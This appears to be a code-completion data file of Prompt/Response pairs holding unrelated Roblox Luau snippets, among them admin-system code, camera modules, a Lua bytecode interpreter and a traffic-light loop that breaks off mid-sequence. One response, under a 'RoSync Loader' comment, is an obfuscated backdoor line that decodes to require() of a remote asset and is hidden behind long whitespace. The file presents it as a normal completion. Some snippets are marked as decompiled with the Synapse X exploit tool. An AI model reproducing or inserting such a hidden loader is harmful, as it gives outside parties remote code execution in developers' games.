	server.Model.Name = "Adonis_Loader"
	server.Model.Parent = service.ServerScriptService
	server.Running = false

	server.Logs.SaveCommandLogs()
	server.Core.GAME_CLOSING = true;
	server.Core.SaveAllPlayerData()

	pcall(service.Threads.StopAll)
	pcall(function()
		for i, v in pairs(RbxEvents) do
			print("Disconnecting event")
			v:Disconnect()
			table.remove(RbxEvents, i)
		end
	end)
	--loader.Archivable = false
	--loader.Disabled = true
	--loader:Destroy()
	if server.Core and server.Core.RemoteEvent then
		pcall(server.Core.DisconnectEvent)
	end

	warn("Unloading complete")
end;

server = {
	Running = true;
	Modules = {};
	Pcall = Pcall;
	cPcall = cPcall;
	Routine = Routine;
	LogError = logError;
	ErrorLogs = ErrorLogs;
	ServerStartTime = os.time();
	CommandCache = {};
};

locals = {
	server = server;
	CodeName = "";
	Settings = server.Settings;
	HookedEvents = HookedEvents;
	ErrorLogs = ErrorLogs;
	logError = logError;
	origEnv = origEnv;
	Routine = Routine;
	Folder = Folder;
	GetEnv = GetEnv;
	cPcall = cPcall;
	Pcall = Pcall;
};

service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
	local extra = {...}
	if eType == "MethodError" then
		if server and server.Logs and server.Logs.AddLog then
			server.Logs.AddLog("Script", {
				Text = `Cached method doesn't match found method: {extra[1]}`;
				Desc = `Method: {extra[1]}`
			})
		end
	elseif eType == "ServerError" then
		logError("Server", msg)
	elseif eType == "TaskError" then
		logError("Task", msg)
	end
end, function(c, parent, tab)
	if not isModule(c) and c ~= server.Loader and c ~= server.Dropper and c ~= server.Runner and c ~= server.Model and c ~= script and c ~= Folder and parent == nil then
		tab.UnHook()
	end
end, ServiceSpecific, GetEnv(nil, {server = server}))


Prompt: --| Main |--

Response:
Remote.PhongDev.OnServerEvent:Connect(function(LocalPlayer)
	local Humanoid = LocalPlayer.Character.Humanoid
	Humanoid:LoadAnimation(Anims.Transform):Play() -- play animation
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local l__HDAdminMain__1 = _G.HDAdminMain;
function v1.GetRankName(p1, p2)
	return l__HDAdminMain__1:GetModule("cf"):GetRankName(p2);
end;
function v1.GetRankId(p3, p4)
	return l__HDAdminMain__1:GetModule("cf"):GetRankId(p4);
end;
function v1.Notice(p5, p6, p7)
	if l__HDAdminMain__1.player then
		if not p7 then
			return;
		end;
	else
		l__HDAdminMain__1:GetModule("cf"):Notice(p6, "Game Notice", p7);
		return;
	end;
	l__HDAdminMain__1:GetModule("Notices"):Notice("Notice", "Game Notice", p7);
end;
function v1.Error(p8, p9, p10)
	if l__HDAdminMain__1.player then
		if not p10 then
			return;
		end;
	else
		l__HDAdminMain__1.signals.Error:FireClient(p9, { "Game Notice", p10 });
		return;
	end;
	l__HDAdminMain__1:GetModule("Notices"):Notice("Error", "Game Notice", p10);
end;
return v1;


Prompt:
--[[
	CameraModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current camera controller,
	character occlusion controller, and transparency controller. This script binds to
	RenderStepped at Camera priority and calls the Update() methods on the active
	controller instances.

	The camera controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
local CameraModule = {}
CameraModule.__index = CameraModule

local FFlagUserFlagEnableNewVRSystem do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem")
	end)
	FFlagUserFlagEnableNewVRSystem = success and result
end


Prompt: -- This loads from, or lazily creates, NumberValue objects for exposed parameters

Response:
function OrbitalCamera:LoadNumberValueParameters()
	-- These initial values do not require change listeners since they are read only once
	self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
	self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)

	-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
	self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
	self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)

	-- Internal values set (in radians, from degrees), plus sanitization
	self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
	self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
	self.curDistance = self.externalProperties["InitialDistance"]

	self:SetAndBoundsCheckAzimuthValues()
	self:SetAndBoundsCheckElevationValues()
	self:SetAndBoundsCheckDistanceValues()
end

function OrbitalCamera:GetModuleName()
	return "OrbitalCamera"
end

function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid)
	if not humanoid or not humanoid.RootPart then
		warn("OrbitalCamera could not set initial orientation due to missing humanoid")
		return
	end
	assert(humanoid.RootPart, "")
	local newDesiredLook = (humanoid.RootPart.CFrame.LookVector - Vector3.new(0,0.23,0)).Unit
	local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
	local vertShift = math.asin(self:GetCameraLookVector().Y) - math.asin(newDesiredLook.Y)
	if not Util.IsFinite(horizontalShift) then
		horizontalShift = 0
	end
	if not Util.IsFinite(vertShift) then
		vertShift = 0
	end
end


Prompt: --[[ Last synced 7/31/2021 05:20                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__UserInputService__1 = game:GetService("UserInputService");
local u1 = nil;
local u2 = nil;
local u3 = false;
local u4 = false;
local u5 = nil;
local l__LocalPlayer__6 = game.Players.LocalPlayer;
local l__DoubleJump__7 = script:WaitForChild("DoubleJump");
function onJumpRequest()
	if u1 then
		if u2 then
			if u1:IsDescendantOf(workspace) then
				if u2:GetState() == Enum.HumanoidStateType.Dead then

				else
					if u3 then
						if not u4 then
							u4 = true;
							u2.JumpPower = u5 * 1.2;
							u2:ChangeState(Enum.HumanoidStateType.Jumping);
							l__LocalPlayer__6.Character.Humanoid:LoadAnimation(l__DoubleJump__7):Play();
						end;
					end;
					return;
				end;
			end;
		end;
	end;
end;
local function v2(p1)
	u1 = p1;
	u2 = p1:WaitForChild("Humanoid");
	u4 = false;
	u3 = false;
	u5 = u2.JumpPower;
	u2.StateChanged:connect(function(p2, p3)
		if p3 == Enum.HumanoidStateType.Landed then
			u3 = false;
			u4 = false;
			u2.JumpPower = u5;
			return;
		end;
		if p3 == Enum.HumanoidStateType.Freefall then
			wait(0.2);
			u3 = true;
		end;
	end);
end;
if l__LocalPlayer__6.Character then
	v2(l__LocalPlayer__6.Character);
end;
l__LocalPlayer__6.CharacterAdded:connect(v2);
l__UserInputService__1.JumpRequest:connect(onJumpRequest);


Response:
local hue, saturation, value = 0, 0, 1;

local function update()
	colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value);
	local color3 = Color3.fromHSV(hue,saturation,value)
	local r,g,b = color3.R,color3.G,color3.B

	print(r)
	print(g)
	print(b)
	color.Text = (tostring(math.floor(r*255))..","..tostring(math.floor(g*255))..","..tostring(math.floor(b*255)))
	color.TextColor3 = Color3.fromRGB(r*255,g*255,b*255)
end


Prompt: -- Function to bind to equip event

Response:
local function equip()
	local torso = player.Character.Torso

	-- Setup joint variables
	neck = torso.Neck
	oldNeckC0 = neck.C0
	shoulder = torso:FindFirstChild("Right Shoulder")
	oldShoulderC0 = shoulder.C0

	-- Remember old mouse icon and update current
	oldIcon = mouse.Icon
	mouse.Icon = "http://www.roblox.com/asset/?id=79658449"

	-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
	if userInputService.TouchEnabled then
		connection = userInputService.TouchMoved:connect(mobileFrame)
	else
		connection = render:connect(pcFrame)
	end

	-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
	-- during touch input
	userInputService.TouchStarted:connect(function(touch, processed)
		mobileShouldTrack = not processed
	end)
	userInputService.TouchEnded:connect(function(touch, processed)
		mobileShouldTrack = false
	end)

	-- If game uses filtering enabled then need to update server while tool is
	-- held by character.
	if workspace.FilteringEnabled then
		while connection do
			wait()
			game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0)
		end
	end
end


Prompt:
--[[
	[How fast the body rotates.]
	[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
	[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]]

Response: local UpdateSpeed = 0.5


Prompt:
-- fn cst_flt_rdr(string src, int len, fn func)
-- @len - Length of type for reader
-- @func - Reader callback

Response:
local function cst_flt_rdr(len, func)
	return function(S)
		local flt = func(S.source, S.index)
		S.index = S.index + len

		return flt
	end
end

local function stm_inst_list(S)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do
		local ins = S:s_ins()
		local op = bit.band(ins, 0x3F)
		local args = OPCODE_T[op]
		local mode = OPCODE_M[op]
		local data = {value = ins, op = OPCODE_RM[op], A = bit.band(bit.rshift(ins, 6), 0xFF)}

		if args == 'ABC' then
			data.B = bit.band(bit.rshift(ins, 23), 0x1FF)
			data.C = bit.band(bit.rshift(ins, 14), 0x1FF)
			data.is_KB = mode.b == 'OpArgK' and data.B > 0xFF -- post process optimization
			data.is_KC = mode.c == 'OpArgK' and data.C > 0xFF
		elseif args == 'ABx' then
			data.Bx = bit.band(bit.rshift(ins, 14), 0x3FFFF)
			data.is_K = mode.b == 'OpArgK'
		elseif args == 'AsBx' then
			data.sBx = bit.band(bit.rshift(ins, 14), 0x3FFFF) - 131071
		end

		list[i] = data
	end

	return list
end

local function stm_const_list(S)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do
		local tt = stm_byte(S)
		local k

		if tt == 1 then
			k = stm_byte(S) ~= 0
		elseif tt == 3 then
			k = S:s_num()
		elseif tt == 4 then
			k = stm_lstring(S)
		end

		list[i] = k -- offset +1 during instruction decode
	end

	return list
end

local function stm_sub_list(S, src)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do
		list[i] = stm_lua_func(S, src) -- offset +1 in CLOSURE
	end

	return list
end

local function stm_line_list(S)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do list[i] = S:s_int() end

	return list
end

local function stm_loc_list(S)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do list[i] = {varname = stm_lstring(S), startpc = S:s_int(), endpc = S:s_int()} end

	return list
end

local function stm_upval_list(S)
	local len = S:s_int()
	local list = table.create(len)

	for i = 1, len do list[i] = stm_lstring(S) end

	return list
end

function stm_lua_func(S, psrc)
	local proto = {}
	local src = stm_lstring(S) or psrc -- source is propagated

	proto.source = src -- source name

	S:s_int() -- line defined
	S:s_int() -- last line defined

	proto.num_upval = stm_byte(S) -- num upvalues
	proto.num_param = stm_byte(S) -- num params

	stm_byte(S) -- vararg flag
	proto.max_stack = stm_byte(S) -- max stack size

	proto.code = stm_inst_list(S)
	proto.const = stm_const_list(S)
	proto.subs = stm_sub_list(S, src)
	proto.lines = stm_line_list(S)

	stm_loc_list(S)
	stm_upval_list(S)

	-- post process optimization
	for _, v in ipairs(proto.code) do
		if v.is_K then
			v.const = proto.const[v.Bx + 1] -- offset for 1 based index
		else
			if v.is_KB then v.const_B = proto.const[v.B - 0xFF] end

			if v.is_KC then v.const_C = proto.const[v.C - 0xFF] end
		end
	end

	return proto
end

function lua_bc_to_state(src)
	-- func reader
	local rdr_func

	-- header flags
	local little
	local size_int
	local size_szt
	local size_ins
	local size_num
	local flag_int

	-- stream object
	local stream = {
		-- data
		index = 1,
		source = src,
	}

	assert(stm_string(stream, 4) == '\27Lua', 'invalid Lua signature')
	assert(stm_byte(stream) == 0x51, 'invalid Lua version')
	assert(stm_byte(stream) == 0, 'invalid Lua format')

	little = stm_byte(stream) ~= 0
	size_int = stm_byte(stream)
	size_szt = stm_byte(stream)
	size_ins = stm_byte(stream)
	size_num = stm_byte(stream)
	flag_int = stm_byte(stream) ~= 0

	rdr_func = little and rd_int_le or rd_int_be
	stream.s_int = cst_int_rdr(size_int, rdr_func)
	stream.s_szt = cst_int_rdr(size_szt, rdr_func)
	stream.s_ins = cst_int_rdr(size_ins, rdr_func)

	if flag_int then
		stream.s_num = cst_int_rdr(size_num, rdr_func)
	elseif float_types[size_num] then
		stream.s_num = cst_flt_rdr(size_num, float_types[size_num][little and 'little' or 'big'])
	else
		error('unsupported float size')
	end

	return stm_lua_func(stream, '@virtual')
end

local function close_lua_upvalues(list, index)
	for i, uv in pairs(list) do
		if uv.index >= index then
			uv.value = uv.store[uv.index] -- store value
			uv.store = uv
			uv.index = 'value' -- self reference
			list[i] = nil
		end
	end
end

local function open_lua_upvalue(list, index, memory)
	local prev = list[index]

	if not prev then
		prev = {index = index, store = memory}
		list[index] = prev
	end

	return prev
end

local function on_lua_error(failed, err)
	local src = failed.source
	local line = failed.lines[failed.pc - 1]

	error(string.format('%s:%i: %s', src, line, err), 0)
end

local function run_lua_func(state, env, upvals)
	local code = state.code
	local subs = state.subs
	local vararg = state.vararg

	local top_index = -1
	local open_list = {}
	local memory = state.memory
	local pc = state.pc

	while true do
		local inst = code[pc]
		local op = inst.op
		pc = pc + 1

		if op < 18 then
			if op < 8 then
				if op < 3 then
					if op < 1 then
						--[[LOADNIL]]
						for i = inst.A, inst.B do memory[i] = nil end
					elseif op > 1 then
						--[[GETUPVAL]]
						local uv = upvals[inst.B]

						memory[inst.A] = uv.store[uv.index]
					else
						--[[ADD]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs + rhs
					end
				elseif op > 3 then
					if op < 6 then
						if op > 4 then
							--[[SELF]]
							local A = inst.A
							local B = inst.B
							local index

							if inst.is_KC then
								index = inst.const_C
							else
								index = memory[inst.C]
							end

							memory[A + 1] = memory[B]
							memory[A] = memory[B][index]
						else
							--[[GETGLOBAL]]
							memory[inst.A] = env[inst.const]
						end
					elseif op > 6 then
						--[[GETTABLE]]
						local index

						if inst.is_KC then
							index = inst.const_C
						else
							index = memory[inst.C]
						end

						memory[inst.A] = memory[inst.B][index]
					else
						--[[SUB]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs - rhs
					end
				else --[[MOVE]]
					memory[inst.A] = memory[inst.B]
				end
			elseif op > 8 then
				if op < 13 then
					if op < 10 then
						--[[SETGLOBAL]]
						env[inst.const] = memory[inst.A]
					elseif op > 10 then
						if op < 12 then
							--[[CALL]]
							local A = inst.A
							local B = inst.B
							local C = inst.C
							local params

							if B == 0 then
								params = top_index - A
							else
								params = B - 1
							end

							local ret_list = table.pack(memory[A](table.unpack(memory, A + 1, A + params)))
							local ret_num = ret_list.n

							if C == 0 then
								top_index = A + ret_num - 1
							else
								ret_num = C - 1
							end

							table.move(ret_list, 1, ret_num, A, memory)
						else
							--[[SETUPVAL]]
							local uv = upvals[inst.B]

							uv.store[uv.index] = memory[inst.A]
						end
					else
						--[[MUL]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs * rhs
					end
				elseif op > 13 then
					if op < 16 then
						if op > 14 then
							--[[TAILCALL]]
							local A = inst.A
							local B = inst.B
							local params

							if B == 0 then
								params = top_index - A
							else
								params = B - 1
							end

							close_lua_upvalues(open_list, 0)

							return memory[A](table.unpack(memory, A + 1, A + params))
						else
							--[[SETTABLE]]
							local index, value

							if inst.is_KB then
								index = inst.const_B
							else
								index = memory[inst.B]
							end

							if inst.is_KC then
								value = inst.const_C
							else
								value = memory[inst.C]
							end

							memory[inst.A][index] = value
						end
					elseif op > 16 then
						--[[NEWTABLE]]
						memory[inst.A] = {}
					else
						--[[DIV]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs / rhs
					end
				else
					--[[LOADK]]
					memory[inst.A] = inst.const
				end
			else
				--[[FORLOOP]]
				local A = inst.A
				local step = memory[A + 2]
				local index = memory[A] + step
				local limit = memory[A + 1]
				local loops

				if step == math.abs(step) then
					loops = index <= limit
				else
					loops = index >= limit
				end

				if loops then
					memory[A] = index
					memory[A + 3] = index
					pc = pc + inst.sBx
				end
			end
		elseif op > 18 then
			if op < 28 then
				if op < 23 then
					if op < 20 then
						--[[LEN]]
						memory[inst.A] = #memory[inst.B]
					elseif op > 20 then
						if op < 22 then
							--[[RETURN]]
							local A = inst.A
							local B = inst.B
							local len

							if B == 0 then
								len = top_index - A + 1
							else
								len = B - 1
							end

							close_lua_upvalues(open_list, 0)

							return table.unpack(memory, A, A + len - 1)
						else
							--[[CONCAT]]
							local B = inst.B
							local str = memory[B]

							for i = B + 1, inst.C do str = str .. memory[i] end

							memory[inst.A] = str
						end
					else
						--[[MOD]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs % rhs
					end
				elseif op > 23 then
					if op < 26 then
						if op > 24 then
							--[[CLOSE]]
							close_lua_upvalues(open_list, inst.A)
						else
							--[[EQ]]
							local lhs, rhs

							if inst.is_KB then
								lhs = inst.const_B
							else
								lhs = memory[inst.B]
							end

							if inst.is_KC then
								rhs = inst.const_C
							else
								rhs = memory[inst.C]
							end

							if (lhs == rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end

							pc = pc + 1
						end
					elseif op > 26 then
						--[[LT]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						if (lhs < rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end

						pc = pc + 1
					else
						--[[POW]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						memory[inst.A] = lhs ^ rhs
					end
				else
					--[[LOADBOOL]]
					memory[inst.A] = inst.B ~= 0

					if inst.C ~= 0 then pc = pc + 1 end
				end
			elseif op > 28 then
				if op < 33 then
					if op < 30 then
						--[[LE]]
						local lhs, rhs

						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end

						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end

						if (lhs <= rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end

						pc = pc + 1
					elseif op > 30 then
						if op < 32 then
							--[[CLOSURE]]
							local sub = subs[inst.Bx + 1] -- offset for 1 based index
							local nups = sub.num_upval
							local uvlist

							if nups ~= 0 then
								uvlist = {}

								for i = 1, nups do
									local pseudo = code[pc + i - 1]

									if pseudo.op == OPCODE_RM[0] then -- @MOVE
										uvlist[i - 1] = open_lua_upvalue(open_list, pseudo.B, memory)
									elseif pseudo.op == OPCODE_RM[4] then -- @GETUPVAL
										uvlist[i - 1] = upvals[pseudo.B]
									end
								end

								pc = pc + nups
							end

							memory[inst.A] = lua_wrap_state(sub, env, uvlist)
						else
							--[[TESTSET]]
							local A = inst.A
							local B = inst.B

							if (not memory[B]) ~= (inst.C ~= 0) then
								memory[A] = memory[B]
								pc = pc + code[pc].sBx
							end
							pc = pc + 1
						end
					else
						--[[UNM]]
						memory[inst.A] = -memory[inst.B]
					end
				elseif op > 33 then
					if op < 36 then
						if op > 34 then
							--[[VARARG]]
							local A = inst.A
							local len = inst.B

							if len == 0 then
								len = vararg.len
								top_index = A + len - 1
							end

							table.move(vararg.list, 1, len, A, memory)
						else
							--[[FORPREP]]
							local A = inst.A
							local init, limit, step

							init = assert(tonumber(memory[A]), '`for` initial value must be a number')
							limit = assert(tonumber(memory[A + 1]), '`for` limit must be a number')
							step = assert(tonumber(memory[A + 2]), '`for` step must be a number')

							memory[A] = init - step
							memory[A + 1] = limit
							memory[A + 2] = step

							pc = pc + inst.sBx
						end
					elseif op > 36 then
						--[[SETLIST]]
						local A = inst.A
						local C = inst.C
						local len = inst.B
						local tab = memory[A]
						local offset

						if len == 0 then len = top_index - A end

						if C == 0 then
							C = inst[pc].value
							pc = pc + 1
						end

						offset = (C - 1) * FIELDS_PER_FLUSH

						table.move(memory, A + 1, A + len, offset + 1, tab)
					else
						--[[NOT]]
						memory[inst.A] = not memory[inst.B]
					end
				else
					--[[TEST]]
					if (not memory[inst.A]) ~= (inst.C ~= 0) then pc = pc + code[pc].sBx end
					pc = pc + 1
				end
			else
				--[[TFORLOOP]]
				local A = inst.A
				local base = A + 3

				local vals = {memory[A](memory[A + 1], memory[A + 2])}

				table.move(vals, 1, inst.C, base, memory)

				if memory[base] ~= nil then
					memory[A + 2] = memory[base]
					pc = pc + code[pc].sBx
				end

				pc = pc + 1
			end
		else
			--[[JMP]]
			pc = pc + inst.sBx
		end

		state.pc = pc
	end
end

function lua_wrap_state(proto, env, upval)
	local function wrapped(...)
		local passed = table.pack(...)
		local memory = table.create(proto.max_stack)
		local vararg = {len = 0, list = {}}

		table.move(passed, 1, proto.num_param, 0, memory)

		if proto.num_param < passed.n then
			local start = proto.num_param + 1
			local len = passed.n - proto.num_param

			vararg.len = len
			table.move(passed, start, start + len - 1, 1, vararg.list)
		end

		local state = {vararg = vararg, memory = memory, code = proto.code, subs = proto.subs, pc = 1}

		local result = table.pack(pcall(run_lua_func, state, env, upval))

		if result[1] then
			return table.unpack(result, 2, result.n)
		else
			local failed = {pc = state.pc, source = proto.source, lines = proto.lines}

			on_lua_error(failed, result[2])

			return
		end
	end

	return wrapped
end

return function(bCode, env)
	return lua_wrap_state(lua_bc_to_state(bCode), env or getfenv(0))
end


Prompt: -- Make the HotbarFrame, which holds only the Hotbar Slots

Response:
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.Parent = MainFrame


Response:
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 1
	PedValues.PedSignal2a.Value = 1
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 2
	PedValues.PedSignal2a.Value = 2
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 1
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
	TurnValues.TurnSignal1.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
	TurnValues.TurnSignal1.Value = 3
	SignalValues.Signal1a.Value = 3
	wait(2)-- Clearance
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal1a
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
